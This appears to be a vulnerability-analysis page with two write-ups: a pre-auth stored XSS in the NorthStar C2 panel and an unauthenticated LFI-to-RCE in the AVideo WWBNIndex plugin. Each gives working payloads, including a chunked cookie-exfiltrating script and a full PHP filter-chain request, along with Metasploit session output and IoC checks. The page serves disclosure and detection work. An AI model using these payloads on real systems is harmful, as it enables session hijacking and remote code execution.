Activity Feed

1
Ratings
Technical Analysis

NorthStarC2 is an open source web based command and control framework used by real world threat actors including [UNC3890](https://www.mandiant.com/resources/blog/suspected-iranian-actor-targeting-israeli-shipping](https://www.mandiant.com/resources/blog/suspected-iranian-actor-targeting-israeli-shipping), APT33 and Patchwork/APT-Q-36 to name a few. NorthStar C2, prior to commit 7674a44 on March 11 2024, contains a vulnerability where the logs page is
vulnerable to a stored XSS. An unauthenticated user can simulate an agent registration to cause the XSS and take over a user’s session. With this access, it is then possible to run a new payload on all of the NorthStar C2 compromised hosts (agents), and kill the original agent.

Obtaining Unauthenticated Stored XSS

A route exists such that a portion of an unauthenticated request would be persistently reflected on the admin web panel without sanitization, allowing for stored XSS. Before delving into the exploitation details, let’s understand the NorthStar C2 stager registration flow. The docs state:

The stager registration process consists of 2 phases;

First phase:

NorthStar Stager sends an unique id value to login.php with HTTP POST method. This value is XORed with a hard-coded key and is in base64 format.
The C2 Server decrypts this value and checks if the unique id starts with a “N”, ends with a “q” and is less than 20 characters.If everything checks out, the value is registered into the C2 database.
A second XOR key, which will be used for communications, is transferred from NorthStar C2 Server to NorthStar Stager.
NorthStar Stager receives and registers the XOR key.

The registration routes mentioned above are accessible prior to authentication (which is by the design). According to the docs, some checks are conducted to determine a valid ID, but there is no mention of any additional sanitation. The implementation of these checks in the code can be examined inside the following file:

NorthStarC2/chcksid.php
checksid.php

The agent ID (or the $_POST['sid'] parameter in the above code which is saved to the $str variable) has no real strict sanitization. The agent ID is checked to ensure the first character is N, the last character is q and that the length is less than 20 – these loosely made checks can be exploited.

Tracing the path of this parameter to its sink leads us to the login.php file, where the checksid.php file is included and the $str variable is used. Notice how there is no further sanitization performed here:

NorthStarc2/login/php:
login.php

The updateLogs function inserts the $str parameter (which is now called $logClient) directly into the database:

NorthStarC2/functions/updateLogs.function.php
update_logs

Now in order to exploit this stored XSS vulnerability we must determine where the database is queried and what page displays the information we’re able to store in the database.

The file logs.php queries the database and displays the unfiltered output directly to the webpage:
The agentID (in this case logClient) can be seen being echoed to the page without sanitization:

NorthStarC2/logs.php:
logs.php

If there was no length limitation on the agentID parameter, we would be able to send the following payload:

N<script>alert(1)</script>q

and obtain stored XSS with ease. However the above payload is 26 characters and will not be accepted by the application.

So, in order to work around this limitation, javascript comments can be used to connect multiple, shorter payloads. Because the newest logs appear at the top of the table, the last part of the payload is sent first.

For example, in order to create the 26 character stored XSS payload mentioned above, the following three payload can be sent in this order, remembering that they all need to start with N, end with q and be less than 20 characters:

Payload #1:

N*/</script>q

Payload #2:

N*/alert(1)/*q

Payload #3:

N<script>/*q

The payload will appear like so in the DOM:

N<script>/*qN*/alert(1)/*qN*/</script>q

and voila, stored XSS can be achieved.

Stealing Cookies

Requests to the NorthStarC2 web application are authenticated by the PHPSESSID cookie. By using the stored XSS vulnerability outlined above, we can exfiltrate the PHPSESSID cookie value of an admin user back to the attacker machine. With that cookie in our possession we can take control of all the agents connected to the NorthStarC2 application and run arbitrary commands on all agents connected to the NorthStarC2 application.

This is an array of payloads (in the specific reverse order such that they get echoed to the page in the correct order) that can send to the application in order to steal the PHPSESSID cookie:

sid_payloads = ["N*/</script><q", "N*/i.src=u/*q", "N*/new Image;/*q", "N*/var i=/*q", "N*/s+h+p+'/'+c;/*q", "N*/var u=/*q", f"N*/'{protocol}';/*q", "N*/var s=/*q", f"N*/':{port}';/*q", "N*/var p=/*q", "N*/a+b;/*q", "N*/var h=/*q", f"N*/'{h2}';/*q", "N*/var b=/*q", f"N*/'{h1}';/*q", "N*/var a=/*q", "N*/d.cookie;/*q", "N*/var c=/*q", "N*/document;/*q", "N*/var d=/*q", "N</td><script>/*q"]

This is how it will appear once echoed to the DOM of the logs page:

N</td><script>/*qN*/var d=/*qN*/document;/*qN*/var c=/*qN*/d.cookie;/*qN*/var a=/*qfN*/'{h1}';/*qN*/var b=/*qfN*/'{h2}';/*qN*/var h=/*qN*/a+b;/*qN*/var p=/*qfN*/':{port}';/*qN*/var s=/*qfN*/'{protocol}';/*qN*/var u=/*qN*/s+h+p+'/'+c;/*qN*/var i=/*qN*/new Image;/*qN*/i.src=u/*qN*/</script><q

And this is the actual javascript code in readable form, without the comments and the q’s and the N’s required by the sanitization:

</td><script>
var d=document;
var c=d.cookie;
var a='{h1}';
var b='{h2}';
var h=a+b;
var p=':{port}';
var s='{protocol}';
var u=s+h+p+'/'+c;
var i=new Image;
i.src=u;
</script>

Once the cookie has been obtained, attackers can use it to interact with the web panel as an authenticated user, which gives them the ability to execute arbitrary commands on all the agents.

Required User Interaction

Note that the javascript payload will only get run once an authenticated user navigates to the logs.php page. The logs.php page does refresh itself periodically so if an operator already has the logs page open it might fire without someone directly opening it, in that specific scenario.

IoCs

If you’re running an instance of NorthStar C2, prior to commit 7674a44 on March 11 2024 and you’d like to see if you’ve been affected, one way would be to connect to the database that was configured to be used by the application (depending on how your database is setup the command to connect could be similar to sudo mysql -u root -p ) and run select * from logs; once using the specific database.

Below is a screenshot of an affected host. Notice how in the logClient column in rows 1 through 13 appear to be normal but then rows 14 through 34 all appear to include N*/<javascript code>/*q. This is where the attacker has stored, the Stored XSS and is the very code used to steal the admin session cookie and exfiltrate it to themselves.
ioc_dataabse

On an affected system, it is likely that the affected database rows would still be there as this attack gives the attacker control over the agents connected to the host and not to the host itself which is running the database in question. So it would be non-trivial for the attacker to erase these footsteps in this scenario.

Metasploit Module Demo

Testing NorthstarStager.exe compiled on Windows 10 (19045) connected to NorthstarC2 installed on Ubuntu 22.04. Both the host and agent running on the vulnerable commit e7fdce148b6a81516e8aa5e5e037acd082611f73

msf6 exploit(windows/http/northstar_c2_xss_to_agent_rce) > options

Module options (exploit/windows/http/northstar_c2_xss_to_agent_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   KILL       false            no        Kill the NorthStar C2 agent
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     172.16.199.131   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      80               yes       The target port (TCP)
   SRVHOST    172.16.199.1     yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       The URI of the NorthStar C2 Application
   URIPATH    /                no        The URI to use for this exploit (default is random)
   VHOST                       no        HTTP server virtual host


Payload options (cmd/windows/http/x64/meterpreter/reverse_tcp):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   EXITFUNC            process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   FETCH_COMMAND       CERTUTIL         yes       Command to fetch payload (Accepted: CURL, TFTP, CERTUTIL)
   FETCH_DELETE        false            yes       Attempt to delete the binary after execution
   FETCH_FILENAME      KNBXoiAeeq       no        Name to use on remote system when storing payload; cannot contain spaces or slashes
   FETCH_SRVHOST       172.16.199.1     no        Local IP to use for serving payload
   FETCH_SRVPORT       9090             yes       Local port to use for serving payload
   FETCH_URIPATH                        no        Local URI to use for serving payload
   FETCH_WRITABLE_DIR  %TEMP%           yes       Remote writable dir to store payload; cannot contain spaces.
   LHOST               172.16.199.1     yes       The listen address (an interface may be specified)
   LPORT               4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command.

msf6 exploit(windows/http/northstar_c2_xss_to_agent_rce) > run
[*] Exploit running as background job 2.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated. NorthStar Login page detected
[*] Using URL: http://172.16.199.1:8080/
[*] Server started.
msf6 exploit(windows/http/northstar_c2_xss_to_agent_rce) > [*] Waiting on XSS execution
[+] 172.16.199.131   northstar_c2_xss_to_agent_rce - Received cookie: d89vrb0v20fpr9mr9v63t6ag4j
[+] 172.16.199.131   northstar_c2_xss_to_agent_rce - Live Agents
===========

 ID                   IP              OS                     Username                 Hostname         Status
 --                   --              --                     --------                 --------         ------
 NcXSkaPsdYYqgc3m1Wq  172.16.199.137  Windows 10 Enterprise  DESKTOP-N3ORU31\msfuser  DESKTOP-N3ORU31  Online

[*] 172.16.199.131   northstar_c2_xss_to_agent_rce - (NcXSkaPsdYYqgc3m1Wq) Stealing DESKTOP-N3ORU31
[*] Sending stage (201798 bytes) to 172.16.199.137
[*] Meterpreter session 1 opened (172.16.199.1:4444 -> 172.16.199.137:50597) at 2024-05-13 14:25:50 -0700

msf6 exploit(windows/http/northstar_c2_xss_to_agent_rce) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: DESKTOP-N3ORU31\msfuser
meterpreter > sysinfo
Computer        : DESKTOP-N3ORU31
OS              : Windows 10 (10.0 Build 19045).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter >

Attacker Value and Exploitability

This requires an admin user interaction in order for the exploit to be successful, which is why the attacker value is lower. Also you don’t know what target you’re going to get a session on before the exploit is successful because you’re unable to see what agents are connected to the C2 up until you steal the admin cookie, which also makes this slightly less appealing. Although that being said it’s pretty cool such a solid and reliable exploit was found in a C2 used by real APTs.

References

https://blog.chebuya.com/posts/discovering-cve-2024-28741-remote-code-execution-on-northstar-c2-agents-via-pre-auth-stored-xss/#fn:2

1
Ratings
  • Attacker Value
    High
  • Exploitability
    High
Technical Analysis

WWNB AVideo is a versatile and advanced video streaming platform tailored for individual content creators, businesses, and developers alike. Versions v.12.4 through v.14.2 which have the WWNBIndex Plugin installed suffer from a Local File Inclusion vulnerability which can be used to obtain Remote Code Execution through the use of PHP Filter Chaining. For those unfamiliar with PHP Filter Chaining please reference the previous link or the AKB article for CVE-2023-6553 which goes into more detail of how the technique works.

The vulnerable line of code lives on line 6 of /AVideo/plugin/WWBNIndex/submitIndex.php:
image

The unfiltered POST request parameter systemRootPath gets directly used in a require_once statement which is normally just an LFI but by leveraging PHP Filter Chaining it can be turned into RCE. The vulnerable code can be accessed without authentication by hitting the following endpoint: <target_uri.path>/plugin/WWBNIndex/submitIndex.php/.

PoC

The following POST request can be used to execute code on a vulnerable system. The POST request executes the following command: ping 172.16.199.1 which is the IP address of my host machine.

POST /AVideo/plugin/WWBNIndex/submitIndex.php HTTP/1.1
Host: 172.16.199.131
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 11884

systemRootPath=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp

With tcpdump running in a separate terminal we can see ICMP requests start coming from example.com which is 172.16.199.131

➜  metasploit-framework git:(upstream-master) ✗ sudo tcpdump -i any icmp
Password:
tcpdump: data link type PKTAP
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on any, link-type PKTAP (Apple DLT_PKTAP), snapshot length 524288 bytes
08:49:08.893463 IP example.com > 172.16.199.1: ICMP echo request, id 1, seq 164, length 64
08:49:08.893468 IP example.com > 172.16.199.1: ICMP echo request, id 1, seq 164, length 64
08:49:08.893494 IP 172.16.199.1 > example.com: ICMP echo reply, id 1, seq 164, length 64
08:49:08.893496 IP 172.16.199.1 > example.com: ICMP echo reply, id 1, seq 164, length 64
08:49:09.917575 IP example.com > 172.16.199.1: ICMP echo request, id 1, seq 165, length 64
08:49:09.917579 IP example.com > 172.16.199.1: ICMP echo request, id 1, seq 165, length 64

Metasploit Module Demo

The Metasploit Module has three separate targets which can be exploited:

msf6 exploit(multi/http/avideo_wwbnindex_unauth_rce) > show targets

Exploit targets:
=================

    Id  Name
    --  ----
    0   Automatic
=>  1   PHP In-Memory
    2   Unix In-Memory
    3   Windows In-Memory

We we use the PHP In-Memory target for this demonstration which will allow us to get a PHP Meterpreter session on the target executing in the context of the user running the application which in this case will be www-data:

msf6 exploit(multi/http/avideo_wwbnindex_unauth_rce) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf6 exploit(multi/http/avideo_wwbnindex_unauth_rce) > set target 1
target => 1
msf6 exploit(multi/http/avideo_wwbnindex_unauth_rce) > run

[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Detected vulnerable AVideo version: 12.4, with vulnerable plugin WWBNIndex running.
[*] Sending stage (39927 bytes) to 172.16.199.131
[*] Meterpreter session 1 opened (172.16.199.1:4444 -> 172.16.199.131:45702) at 2024-05-22 09:38:12 -0400

meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer    : msfuser-virtual-machine
OS          : Linux msfuser-virtual-machine 6.2.0-35-generic #35~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Oct  6 10:23:26 UTC 2 x86_64
Meterpreter : php/linux
meterpreter >

IoCs

The Wiki instructs users to install using a LAMP environment which means IoCs are most likely going to be found in the /var/log/apache2 directory. I would suggest running the following grep command:

msfuser@msfuser-virtual-machine:/var/log$ grep -r "plugin/WWBNIndex/submitIndex.php" ./
grep: ./boot.log: Permission denied
grep: ./vmware-vmtoolsd-root.log: Permission denied
grep: ./vmware-vmsvc-root.2.log: Permission denied
grep: ./btmp: Permission denied
grep: ./private: Permission denied
grep: ./gdm3: Permission denied
./apache2/access.log:172.16.199.1 - - [22/May/2024:05:46:22 -0700] "GET /AVideo/plugin/WWBNIndex/submitIndex.php HTTP/1.1" 200 963 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36"
./apache2/access.log:172.16.199.1 - - [22/May/2024:05:49:19 -0700] "GET /AVideo/plugin/WWBNIndex/submitIndex.php HTTP/1.1" 200 963 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36"
./apache2/error.log.1:[Tue May 21 11:19:15.787030 2024] [php:warn] [pid 13160] [client 172.16.199.1:58523] PHP Warning:  Undefined array key "systemRootPath" in /var/www/html/AVideo/plugin/WWBNIndex/submitIndex.php on line 6
./apache2/error.log.1:[Tue May 21 11:19:15.787365 2024] [php:warn] [pid 13160] [client 172.16.199.1:58523] PHP Warning:  require_once(plugin/WWBNIndex/WWBNIndex.php): Failed to open stream: No such file or directory in /var/www/html/AVideo/plugin/WWBNIndex/submitIndex.php on line 6
./apache2/error.log.1:[Tue May 21 11:19:15.787387 2024] [php:error] [pid 13160] [client 172.16.199.1:58523] PHP Fatal error:  Uncaught Error: Failed opening required 'plugin/WWBNIndex/WWBNIndex.php' (include_path='.:/usr/share/php') in /var/www/html/AVideo/plugin/WWBNIndex/submitIndex.php:6\nStack trace:\n#0 {main}\n  thrown in /var/www/html/AVideo/plugin/WWBNIndex/submitIndex.php on line 6
./apache2/error.log:[Wed May 22 05:46:22.086098 2024] [php:warn] [pid 14828] [client 172.16.199.1:49163] PHP Warning:  Undefined array key "systemRootPath" in /var/www/html/AVideo/plugin/WWBNIndex/submitIndex.php on line 6
./apache2/error.log:[Wed May 22 05:46:22.086170 2024] [php:warn] [pid 14828] [client 172.16.199.1:49163] PHP Warning:  require_once(plugin/WWBNIndex/WWBNIndex.php): Failed to open stream: No such file or directory in /var/www/html/AVideo/plugin/WWBNIndex/submitIndex.php on line 6
